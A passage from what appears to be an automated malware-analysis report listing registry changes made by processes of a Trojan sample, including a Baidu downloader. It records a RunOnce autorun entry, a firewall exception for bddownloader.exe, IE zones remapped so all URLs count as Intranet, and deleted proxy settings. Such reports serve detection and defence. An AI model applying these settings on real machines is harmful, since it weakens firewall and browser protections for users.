"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

The process vcredist_x86.exe:2720 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D6 C1 A2 30 0E 0A 98 A1 2E 12 2B CA 17 1D F8 19"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"wextract_cleanup0" = "rundll32.exe %System%\advpack.dll,DelNodeRunDLL32 C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\IXP000.TMP\"

The Trojan deletes the following value(s) in system registry:

The Trojan disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"wextract_cleanup0"

The process netsh.exe:3112 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh\Napmontr]
"BitNames" = " NAP_TRACE_BASE NAP_TRACE_NETSH"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh\Napmontr]
"Guid" = "710adbf0-ce88-40b4-a50d-231ada6593f0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent\traceIdentifier]
"Guid" = "b0278a28-76f1-4e15-b1df-14b209a12613"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D3 1E F2 32 92 B2 4D 24 FB 16 EA EA 3D F3 DC 6C"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

Adds a rule to the firewall Windows which allows any network activity:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\%Program Files%\Common Files\Baidu\BDDownload\107]
"bddownloader.exe" = "%Program Files%\Common Files\Baidu\BDDownload\107\bddownloader.exe:*:Enabled:百度高速下载器"

The Trojan adds process executable file it works in to the list of trusted Windows Firewall applications:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List\%Program Files%\Common Files\Baidu\BDDownload\107]
"bddownloader.exe" = "%Program Files%\Common Files\Baidu\BDDownload\107\bddownloader.exe:*:Enabled:百度高速下载器"

The process bddownloader.exe:3936 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A8 3C CD 0A D5 A9 15 92 D9 0E 05 A9 09 3D B6 5F"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

The process bddownloader.exe:2820 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C8 9C 97 C8 10 8F E6 99 70 BA 64 87 AC 87 5D 82"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\LocalService\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

The process bddownloader.exe:2984 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"regsvr32.exe" = "Microsoft(C) Register Server"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCR\TypeLib\{DA624F8F-98BF-4B03-AD11-A12D07119E81}\1.0\0\win32]
"(Default)" = "c:\program files\common files\baidu\bddownload\107\bddownloader.exe"

[HKCR\BDDownloadProxy.Downloader\CLSID]
"(Default)" = "{91B5E4DE-4C97-41CD-9F94-84BFAABB7371}"

[HKCR\Interface\{7044CE4B-FE34-4DD1-A0FA-157E1E179ECA}\ProxyStubClsid]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCR\Interface\{E7270EC6-0113-4A78-B610-E501D0A9E48E}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCR\Interface\{7044CE4B-FE34-4DD1-A0FA-157E1E179ECA}\TypeLib]
"(Default)" = "{DA624F8F-98BF-4B03-AD11-A12D07119E81}"

[HKCR\CLSID\{91B5E4DE-4C97-41CD-9F94-84BFAABB7371}\LocalServer32]
"(Default)" = "c:\program files\common files\baidu\bddownload\107\bddownloader.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCR\BDDownloadProxy.Downloader.1]
"(Default)" = "Downloader Class"

[HKCR\BDDownloadProxy.Downloader.1\CLSID]
"(Default)" = "{91B5E4DE-4C97-41CD-9F94-84BFAABB7371}"

[HKCR\Interface\{E7270EC6-0113-4A78-B610-E501D0A9E48E}\ProxyStubClsid]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCR\Interface\{7044CE4B-FE34-4DD1-A0FA-157E1E179ECA}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\BDDownloadProxy.Downloader]
"(Default)" = "Downloader Class"

[HKCR\AppID\{51BEE30D-EEC8-4BA3-930B-298B8E759EB1}]
"(Default)" = "DownloadProxy"

[HKCR\CLSID\{91B5E4DE-4C97-41CD-9F94-84BFAABB7371}]
"(Default)" = "Downloader Class"

[HKCR\CLSID\{91B5E4DE-4C97-41CD-9F94-84BFAABB7371}\ProgID]
"(Default)" = "BDDownloadProxy.Downloader.1"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"netsh.exe" = "Network Command Shell"

[HKCR\Interface\{7044CE4B-FE34-4DD1-A0FA-157E1E179ECA}\TypeLib]
"Version" = "1.0"

[HKCR\CLSID\{91B5E4DE-4C97-41CD-9F94-84BFAABB7371}\TypeLib]
"(Default)" = "{DA624F8F-98BF-4B03-AD11-A12D07119E81}"

[HKCR\Interface\{E7270EC6-0113-4A78-B610-E501D0A9E48E}\TypeLib]
"Version" = "1.0"

[HKCR\AppID\DownloadProxy.EXE]
"AppID" = "{51BEE30D-EEC8-4BA3-930B-298B8E759EB1}"

[HKCR\TypeLib\{DA624F8F-98BF-4B03-AD11-A12D07119E81}\1.0\HELPDIR]
"(Default)" = ""

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B3 53 3E BE EC 23 80 3F 78 94 0A 72 E8 A7 7B A0"

[HKCR\BDDownloadProxy.Downloader\CurVer]
"(Default)" = "BDDownloadProxy.Downloader.1"

[HKCR\Interface\{E7270EC6-0113-4A78-B610-E501D0A9E48E}\TypeLib]
"(Default)" = "{DA624F8F-98BF-4B03-AD11-A12D07119E81}"

[HKCR\Interface\{E7270EC6-0113-4A78-B610-E501D0A9E48E}]
"(Default)" = "_IDownloaderEvents"

[HKCR\CLSID\{91B5E4DE-4C97-41CD-9F94-84BFAABB7371}]
"AppID" = "{51BEE30D-EEC8-4BA3-930B-298B8E759EB1}"

[HKCR\TypeLib\{DA624F8F-98BF-4B03-AD11-A12D07119E81}\1.0]
"(Default)" = "DownloadProxy 1.0 Type Library"

[HKCR\TypeLib\{DA624F8F-98BF-4B03-AD11-A12D07119E81}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\CLSID\{91B5E4DE-4C97-41CD-9F94-84BFAABB7371}\VersionIndependentProgID]
"(Default)" = "BDDownloadProxy.Downloader"

[HKCR\Interface\{7044CE4B-FE34-4DD1-A0FA-157E1E179ECA}]
"(Default)" = "IDownloader"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The process guagua_77150006814.exe:1016 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "06 50 F6 7C AC F6 D5 BA A2 3B BA 70 7F 5B 85 C0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process %original file name%.exe:188 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9F 17 9D 3C 29 22 76 80 8A 82 83 C5 38 5D 7E A5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process sc.exe:1336 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8E 19 AB 94 E1 E4 2E 42 42 05 31 6C A9 B0 4F F8"

The process sc.exe:644 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D0 9F 68 B5 AB 96 A0 E8 DD 1A E9 A6 83 0A 50 7C"

The process YFMSever.exe:2388 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1F 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "51 B7 30 96 30 FC AE 84 C0 92 0C A5 D6 AF 36 92"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process BDDownloader.exe:2084 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "21 43 3B CB 19 9E 58 1A 17 18 7F C6 21 94 C3 DA"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\c:\program files\common files\baidu\bddownload\107]
"bddownloader.exe" = "百度高速下载引擎"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process BDDownloader.exe:2804 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "51 9B D0 CE E6 55 EE 51 BE 15 D9 56 65 80 64 96"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process MsiExec.exe:3196 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0F 5F 66 F5 86 1D 4F A9 6E 9C 71 8F AB 22 A7 D6"

The process candid.exe:1548 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "77 9E FF 18 95 09 FD B0 BF 1A A8 59 18 66 B4 67"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
